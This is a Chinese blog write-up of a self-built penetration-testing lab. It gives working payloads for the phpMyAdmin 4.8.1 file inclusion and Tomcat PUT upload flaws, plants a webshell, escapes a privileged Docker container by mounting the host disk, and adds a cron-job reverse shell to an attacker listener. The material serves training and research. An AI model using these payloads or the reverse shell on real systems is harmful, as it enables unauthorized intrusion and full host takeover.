外网到内网渗透测试案例(1)

admin 2026-02-17 20:15:21 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文讲述外网渗透案例,利用Struts2S2-046、phpMyAdmin文件包含及Tomcat上传漏洞获取Webshell。识别Docker环境后,利用特权模式挂载宿主机磁盘并写入计划任务,成功逃逸容器获得宿主机Root权限。文档涵盖环境搭建、漏洞利用及提权全流程,实战参考价值高。 综合评分: 89 文章分类: 渗透测试,WEB安全,云安全,漏洞POC


cover_image

外网到内网渗透测试案例(1)

原创

小木说安全 小木说安全

智检安全研习社

2026年2月10日 11:48 陕西

前言

本次渗透测试环境由自主搭建,涉及反序列化漏洞、命令执行漏洞、Tomcat漏洞、MS系列漏洞、端口转发漏洞、以及域渗透等多种组合漏洞。本节介绍外网渗透测试,下节更新内网渗透测试。

环境搭建

机器密码

WEB主机 ubuntu:ubuntuWIN7主机 douser:Dotest123(DC)WIN2008主机 administrator:Test2008

网络配置

192.168.111.x为web的网卡,192.168.183.x为内网

DC主机(Windows 2008)

开机,提示密码过期,改为:Itchen123

WEB主机(Ubuntu)

docker启动服务:(这里有3个服务)

sudo docker start ec 17 09

查看是否启动成功:

sudo docker ps

win7:

WEB(Ubuntu):192.168.111.130 , 192.168.183.129DC:192.168.183.130win7:192.168.183.128kali攻击机:192.168.111.131

web打点

信息收集

端口扫描:nmap

nmap -sV -Pn 192.168.111.130

扫描出来4个端口,一次访问:

2001端口:一个文件上传接口,是struts2框架:

2002端口:一个tomcat页面:

2003端口:phpmyadmin网站,而且未输入密码直接登录:

struts2_046漏洞

用工具扫描struts2,发现存在多个漏洞:S2-045 S2-046漏洞都存在

尝试使用S2-046可以成功执行命令,确实存在漏洞:

phpmyadmin后台获得shell

右下角标注了版本为4.8.1,这个版本有公开漏洞:

还可以利用phpmyadmin来使用数据库日志写入马来获得会话,这里就不做演示了,方法和之前的红日靶场一的一样,可以前往查看。链接:

https://mp.weixin.qq.com/s/YBjf79ayYTU8dnSlX9y-2Qhttps://mp.weixin.qq.com/s/wwfQoAtYQg-7-NZ4ZZwRFg

4.8.1版本存在远程文件包含漏洞(CVE-2018-12613)

phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613):

http://192.168.111.130:2003/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

在sql执行处执行,并F12查看当前页面cookie中的phpmyadmin的值,这个也是经常用到的

select&nbsp;'<?php phpinfo();?>'

根据cookie值,来构造payload

http://192.168.111.130:2003/index.php?target=db_datadict.php%253f/../../../../../../../../../tmp/sess_44907462b8aff202caab249d90aea146

后面getshell就不演示了,就是写入一句话木马,然后用文件包含漏洞读取就行。

tomcat 文件上传漏洞getshell

根据已知版本:Apache Tomcat/8.5.19 存在文件上传漏洞

因此可以利用Tomcat CVE-2017-12615 任意文件写入

刷新页面,抓包,将get请求改为put请求:

返回201,说明上传成功。

尝试上传jsp文件,使用双//绕过

将冰蝎的payload 贴上,发包

冰蝎连接成功:

拿到web权限之后,先不急,发现执行ifconfig命令,居然提示没有发现,所以我们拿到的是真机吗?有可能是docker部署的?

判断是否为docker容器中:

1、查看hostname(不太准)

docker执行hostname后一般都是一串数字。

但是也有可能创建者会修改,所以有时候不太准。

2、cat /proc/1/cgroup

这个命令是显示进程1所属的control group (cgroup) 的层次结构。 通过这个命令我们如果看到docker字样,就说明我们应该是在容器中。

3、检查根目录下是否存在.dockerenv文件

ls&nbsp;-al /

解释:当Docker容器启动时,Docker引擎会自动在容器根目录下创建这个.dockerenv文件,通常被用来指示当前进程正在 Docker 容器中运行。

可以判断出在docker容器中,所以接下来要想办法进行docker逃逸

Dokcer之privileged特权模式逃逸

Docker 的–privileged参数是一种特权模式,允许容器中的进程获得与宿主机相同的权限。 所以我们这边再拉取一个dcoker容器,然后使用特权模式启动.

在容器内部的时候,我们首先判断我们当前容器是否是特权模式。 例如这个命令就可以进行判断

cat&nbsp;/proc/self/status | grep CapEff
cat&nbsp;/proc/self/status &nbsp;##用于查看当前进程的状态信息。
grep&nbsp;CapEff &nbsp;##用于从输出结果中过滤出 CapEff 相关的行
capability&nbsp;&nbsp;##是一种权限机制,利用 CapEff 我们可以了解当前进程实际拥有的权限和能力。

执行后发现当前的掩码值为:000001ffffffffff 一般来说,当CapEff对应的掩码值为0000003fffffffff 或者是 0000001fffffffff的时候,就可以判定当前容器是特权模式启动。 然后我们查看一下分区情况

fdisk&nbsp;-l

可以看到sda1就是宿主机的磁盘。 所以我们接下来只需要把宿主机所在的磁盘挂载到docker中就可以正常访问到宿主机中的内容了。

mkdir&nbsp;/testmount /dev/sda1 /test &nbsp;&nbsp;#将宿主机磁盘挂载到test目录下。

因为有了宿主机磁盘的操作权限,所以我们写计划任务就可以了:

touch&nbsp;/test/test.shecho&nbsp;"bash -i >& /dev/tcp/192.168.111.131/9898 0>&1"&nbsp;>/test/test.shecho&nbsp;"* * * * * root bash /test.sh"&nbsp;>> /test/etc/crontab

kali这边开始监听:

nc&nbsp;-lvvp&nbsp;9898

一分钟后成功拿到了宿主机shell,可以通过docker ps 验证一下:

而且拿到的还是root权限:


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:智检安全研习社 小木说安全 小木说安全《外网到内网渗透测试案例(1)》

评论:0   参与:  0